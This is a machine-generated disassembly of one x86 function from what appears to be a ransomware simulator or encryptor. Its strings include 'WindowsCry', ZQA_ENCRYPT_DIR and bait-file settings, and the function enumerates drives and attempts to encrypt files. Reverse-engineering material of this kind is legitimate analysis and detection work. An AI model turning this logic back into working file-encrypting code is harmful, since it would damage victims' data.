Function at 0x4565c0
Capabilities:
Check if file exists
Get disk information
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5db1ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xef4
push esi
push edi
push 0x208
lea eax, [ebp - 0xf00]
mov dword [ebp - 0x14], 0
push 0
push eax
call fcn.005afaf0
push 0x208
lea eax, [ebp - 0x8e8]
push 0
push eax
call fcn.005afaf0
push 0x208
lea eax, [ebp - 0xcf8]
push 0
push eax
call fcn.005afaf0
push 0x208
lea eax, [ebp - 0xaf0]
push 0
push eax
call fcn.005afaf0
push 0x208
lea eax, [ebp - 0x4d8]
push 0
push eax
call fcn.005afaf0
push 0x208
lea eax, [ebp - 0x6e0]
push 0
push eax
call fcn.005afaf0
add esp, 0x48
lea ecx, [ebp - 0x34]
call fcn.00455ab0
push 0x18
mov dword [ebp - 4], 0
call fcn.005addcf
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
lea ecx, [eax + 8]
mov dword [eax], 1
mov dword [eax + 4], 4
mov dword [ebp - 0x18], eax
mov eax, dword [0x669bb0]
push 0
mov dword [ebp - 0x24], ecx
mov edi, dword [eax + 4]
add edi, 0x669bb0
call fcn.00595219
add esp, 8
mov dword [ebp - 0x28], eax
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
push 3
push 0x65da04
call fcn.00452ed0
push ecx
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x2c]
call fcn.004554a0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x74]
cmp ecx, 0xf
jbe 0x456731
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x456727
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570c9
push ecx
push edx
call fcn.005addb3
add esp, 8
mov byte [ebp - 4], 4
mov eax, dword [edi + 0x30]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x94], ecx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [edi + 0x30]
mov dword [ebp - 0x14], 2
mov ecx, dword [esi + 4]
cmp ecx, dword [ebp - 0x28]
je 0x45677b
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x456770
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov ecx, dword [ebp - 0x28]
mov dword [esi + 4], ecx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [edi + 0x2c]
test esi, esi
je 0x456796
push dword [esi + 4]
mov eax, dword [esi + 8]
push edi
push 1
call eax
mov esi, dword [esi]
add esp, 0xc
test esi, esi
jne 0x456782
mov dword [ebp - 4], 3
mov esi, dword [edi + 0x38]
test esi, esi
je 0x45680d
mov byte [ebp - 4], 5
mov eax, dword [esi + 0x34]
mov edi, dword [eax + 4]
mov ecx, edi
mov dword [ebp - 0x8c], edi
mov eax, dword [edi]
call dword [eax + 4]
mov eax, dword [esi]
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, esi
mov dword [ebp - 0x14], 5
call dword [eax + 0x38]
mov esi, dword [esi + 0x34]
mov ecx, dword [esi + 4]
cmp ecx, dword [ebp - 0x28]
je 0x4567f8
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x4567ed
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov ecx, dword [ebp - 0x28]
mov dword [esi + 4], ecx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [edi]
mov ecx, edi
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x45680d
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x456825
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x456845
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x456845
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
mov edx, str.___WindowsCry_Version
mov ecx, 0x669bb0
call fcn.00452190
mov edx, 0x65da08
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 0xf00]
add esp, 4
push 0x104
push eax
push str.ZQA_ENCRYPT_DIR
call esi
push 0x104
lea eax, [ebp - 0x6e0]
push eax
push str.ZQA_BAIT_FILE
call esi
push 0x104
lea eax, [ebp - 0x8e8]
push eax
push str.ZQA_ENCRYPT_MODULE
call esi
push 0x104
lea eax, [ebp - 0xcf8]
push eax
push str.ZQA_ENCRYPT_API_INVOKE_MODEL
call esi
push 0x104
lea eax, [ebp - 0xaf0]
push eax
push str.ZQA_ENCRYPT_ACTION
call esi
push 0x104
lea eax, [ebp - 0x4d8]
push eax
push str.ZQA_ENCRYPT_EXTENSIONS
call esi
lea eax, [ebp - 0xaf0]
push eax
lea ecx, [ebp - 0xc8]
call fcn.0044ff50
lea eax, [ebp - 0xcf8]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x88]
call fcn.0044ff50
push str.DISABLE
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 7
call fcn.0044ff50
mov eax, dword [ebp - 0x18]
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x74]
cmp edx, 7
mov dword [ebp - 0x28], edx
mov edx, dword [ebp - 0x88]
seta cl
mov dword [eax + 0x14], 0
lea eax, [ebp - 0x88]
cmova eax, edx
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x78]
mov byte [ebp - 0xd], cl
cmp edx, 6
jne 0x45698c
mov edi, edx
mov esi, str.NORMAL
test edi, edi
je 0x45697b
sub eax, esi
mov dword [ebp - 0x14], eax
movzx ecx, word [eax + esi]
movzx eax, word [esi]
cmp cx, ax
jne 0x456989
mov eax, dword [ebp - 0x14]
add esi, 2
sub edi, 1
jne 0x456964
mov eax, dword [ebp - 0x18]
mov dword [eax], 2
jmp 0x456aa0
mov cl, byte [ebp - 0xd]
mov esi, dword [ebp - 0x20]
lea eax, [ebp - 0x88]
test cl, cl
cmovne eax, esi
cmp edx, 7
jne 0x4569db
mov edi, edx
mov esi, str.SYSCALL
test edi, edi
je 0x4569c7
sub eax, esi
mov dword [ebp - 0x14], eax
nop
movzx ecx, word [eax + esi]
movzx eax, word [esi]
cmp cx, ax
jne 0x4569d5
mov eax, dword [ebp - 0x14]
add esi, 2
sub edi, 1
jne 0x4569b0
mov eax, dword [ebp - 0x18]
mov dword [eax], 1
jmp 0x456aa0
mov cl, byte [ebp - 0xd]
mov esi, dword [ebp - 0x20]
test cl, cl
lea eax, [ebp - 0x88]
cmovne eax, esi
cmp edx, 5
jne 0x456a22
mov edi, edx
mov esi, str.SLEEP
test edi, edi
je 0x456a97
sub eax, esi
mov dword [ebp - 0x14], eax
nop
movzx ecx, word [esi + eax]
movzx eax, word [esi]
cmp cx, ax
jne 0x456a1c
mov eax, dword [ebp - 0x14]
add esi, 2
sub edi, 1
jne 0x456a00
jmp 0x456a97
mov cl, byte [ebp - 0xd]
mov esi, dword [ebp - 0x20]
test cl, cl
lea eax, [ebp - 0x88]
cmovne eax, esi
cmp edx, 0xc
jne 0x456a67
mov edi, edx
mov esi, str.SLEEP_NORMAL
test edi, edi
je 0x456a59
sub eax, esi
mov dword [ebp - 0x14], eax
movzx ecx, word [eax + esi]
movzx eax, word [esi]
cmp cx, ax
jne 0x456a64
mov eax, dword [ebp - 0x14]
add esi, 2
sub edi, 1
jne 0x456a42
mov eax, dword [ebp - 0x18]
mov dword [eax], 7
jmp 0x456aa0
mov cl, byte [ebp - 0xd]
test cl, cl
lea edi, [ebp - 0x88]
cmovne edi, dword [ebp - 0x20]
cmp edx, 0xe
jne 0x456aa0
mov esi, str.SLEEP_SYSCALLL
test edx, edx
je 0x456a97
sub edi, esi
movzx ecx, word [edi + esi]
movzx eax, word [esi]
cmp cx, ax
jne 0x456aa0
add esi, 2
sub edx, 1
jne 0x456a83
mov eax, dword [ebp - 0x18]
mov dword [eax], 5
lea ecx, [ebp - 0x4d8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x456ab0
mov eax, dword [ebp - 0x9c]
lea edi, [ebp - 0xb0]
mov esi, dword [ebp - 0xa0]
sub ecx, edx
sar ecx, 1
cmp eax, 7
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0xb0]
cmova edi, eax
mov dword [ebp - 0x94], eax
cmp esi, ecx
jne 0x456b23
lea edx, [ebp - 0x4d8]
test esi, esi
je 0x456b14
mov eax, edx
sub edi, eax
nop dword [eax + eax]
movzx ecx, word [edi + edx]
movzx eax, word [edx]
cmp cx, ax
jne 0x456b23
add edx, 2
sub esi, 1
jne 0x456b00
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x14], 1
jmp 0x456cf5
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0044ff50
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x170]
xor eax, eax
mov dword [ebp - 0x14], 0x10
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x58], eax
xor esi, esi
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x54], esi
xor edi, edi
push eax
mov dword [ebp - 0x50], edi
call fcn.0044f510
xorps xmm0, xmm0
mov dword [ebp - 0x60], edi
xor eax, eax
mov dword [ebp - 0x5c], 7
movups xmmword [ebp - 0x70], xmm0
mov word [ebp - 0x70], ax
push ecx
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x170]
call fcn.00454510
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x456bea
nop word [eax + eax]
lea eax, [ebp - 0x70]
push eax
cmp esi, edi
je 0x456bb7
mov ecx, esi
call fcn.00450070
add esi, 0x18
mov dword [ebp - 0x54], esi
jmp 0x456bc6
push esi
lea ecx, [ebp - 0x58]
call fcn.004549e0
mov edi, dword [ebp - 0x50]
mov esi, dword [ebp - 0x54]
push ecx
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x170]
call fcn.00454510
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x456ba0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x5c]
cmp ecx, 7
jbe 0x456c28
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456c1e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570ce
push ecx
push edx
call fcn.005addb3
add esp, 8
lea ecx, [ebp - 0x170]
call fcn.0044eb20
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x58]
cmp ecx, eax
je 0x456c5b
call fcn.00451120
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov dword [ecx], eax
xor eax, eax
mov dword [ecx + 4], esi
xor esi, esi
mov dword [ecx + 8], edi
xor edi, edi
mov dword [ebp - 0x1c], eax
jmp 0x456c5e
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 9
test eax, eax
je 0x456cb7
mov edx, esi
mov esi, dword [ebp - 0x1c]
push ecx
mov ecx, esi
call fcn.00453580
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
add esp, 4
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x456cad
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570dd
push ecx
push esi
call fcn.005addb3
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x38]
cmp ecx, 7
jbe 0x456cf5
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456ceb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570dd
push ecx
push edx
call fcn.005addb3
add esp, 8
mov eax, dword [ebp - 0xb4]
lea edi, [ebp - 0xc8]
mov esi, dword [ebp - 0xb8]
cmp eax, 7
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc8]
cmova edi, eax
mov dword [ebp - 0x1c], eax
cmp esi, 0x11
jne 0x456d4b
mov edx, str.WRITE_SOURCE_FILE
test esi, esi
je 0x456d44
sub edi, edx
nop dword [eax]
movzx ecx, word [edi + edx]
movzx eax, word [edx]
cmp cx, ax
jne 0x456d4b
add edx, 2
sub esi, 1
jne 0x456d30
mov eax, 4
jmp 0x456d50
mov eax, 3
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 4], eax
call fcn.00458460
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 0xd
push eax
xor esi, esi
mov dword [ebp - 0x64], 0
push 0x104
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x14], 8
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x456e80
lea edi, [ebp - 0x2d0]
cmp word [ebp - 0x2d0], si
je 0x456e80
push edi
lea ecx, [ebp - 0x4c]
call fcn.0044ff50
mov byte [ebp - 4], 0xe
cmp esi, dword [ebp - 0x5c]
je 0x456dec
xorps xmm0, xmm0
xor eax, eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov ecx, 7
movups xmm0, xmmword [ebp - 0x4c]
mov dword [esi + 0x14], 0
mov word [ebp - 0x4c], ax
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x3c]
movq qword [esi + 0x10], xmm0
add esi, 0x18
mov dword [ebp - 0x60], esi
jmp 0x456dff
lea eax, [ebp - 0x4c]
push eax
push esi
lea ecx, [ebp - 0x64]
call fcn.004587f0
mov esi, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x38]
mov byte [ebp - 4], 0xd
cmp ecx, 7
jbe 0x456e3a
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456e30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570c9
push ecx
push edx
call fcn.005addb3
add esp, 8
mov ecx, edi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x456e40
sub ecx, edx
mov edx, str.__Get_Drives_:
sar ecx, 1
lea edi, [edi + ecx*2]
mov ecx, 0x669bb0
add edi, 2
call fcn.004524d0
mov edx, edi
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
cmp word [edi], 0
jne 0x456da2
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 8
call fcn.00451120
lea eax, [ebp - 0x8e8]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0044ff50
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x34]
call fcn.004570f0
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0xf00]
mov edx, esi
push dword [eax]
call fcn.0044dff0
mov byte [ebp - 4], 8
add esp, 4
mov ecx, dword [ebp - 0x38]
cmp ecx, 7
jbe 0x456efe
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456ef4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570d3
push ecx
push edx
call fcn.005addb3
add esp, 8
lea eax, [ebp - 0x6e0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x456fbd
lea eax, [ebp - 0x6e0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x456fbd
mov edx, str.___Try_to_Encrypt_BaitFile_:
mov ecx, 0x669bb0
call fcn.00452190
lea edx, [ebp - 0x6e0]
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
lea eax, [ebp - 0x8e8]
lea ecx, [ebp - 0x4c]
push eax
call fcn.0044ff50
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x34]
call fcn.004570f0
mov edx, esi
lea ecx, [ebp - 0x6e0]
push dword [eax]
call fcn.0044dff0
mov byte [ebp - 4], 8
add esp, 4
mov ecx, dword [ebp - 0x38]
cmp ecx, 7
jbe 0x456fbd
mov edx, dword [ebp - 0x4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x456fb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570d8
push ecx
push edx
call fcn.005addb3
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004572a0
push eax
call fcn.00457540
add esp, 4
lea ecx, [esi + 8]
call fcn.00451120
push 0x18
push esi
call fcn.005addb3
mov ecx, dword [ebp - 0x8c]
add esp, 8
cmp ecx, 7
jbe 0x457029
mov edx, dword [ebp - 0x94]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x45701f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570dd
push ecx
push edx
call fcn.005addb3
add esp, 8
mov ecx, dword [ebp - 0x28]
cmp ecx, 7
jbe 0x457063
mov edx, dword [ebp - 0x20]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457059
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570dd
push ecx
push edx
call fcn.005addb3
add esp, 8
mov ecx, dword [ebp - 0x24]
pop edi
pop esi
cmp ecx, 7
jbe 0x45709b
mov edx, dword [ebp - 0x1c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x457091
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4570dd
push ecx
push edx
call fcn.005addb3
add esp, 8
mov eax, dword [ebp - 0x34]
push dword [eax + 4]
lea eax, [ebp - 0x34]
push eax
mov ecx, eax
call fcn.00457fd0
push 0x2c
push dword [ebp - 0x34]
call fcn.005addb3
mov ecx, dword [ebp - 0xc]
add esp, 8
xor eax, eax
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.005b8921
call fcn.005b8921
call fcn.005b8921
call fcn.005b8921
call fcn.005b8921
int3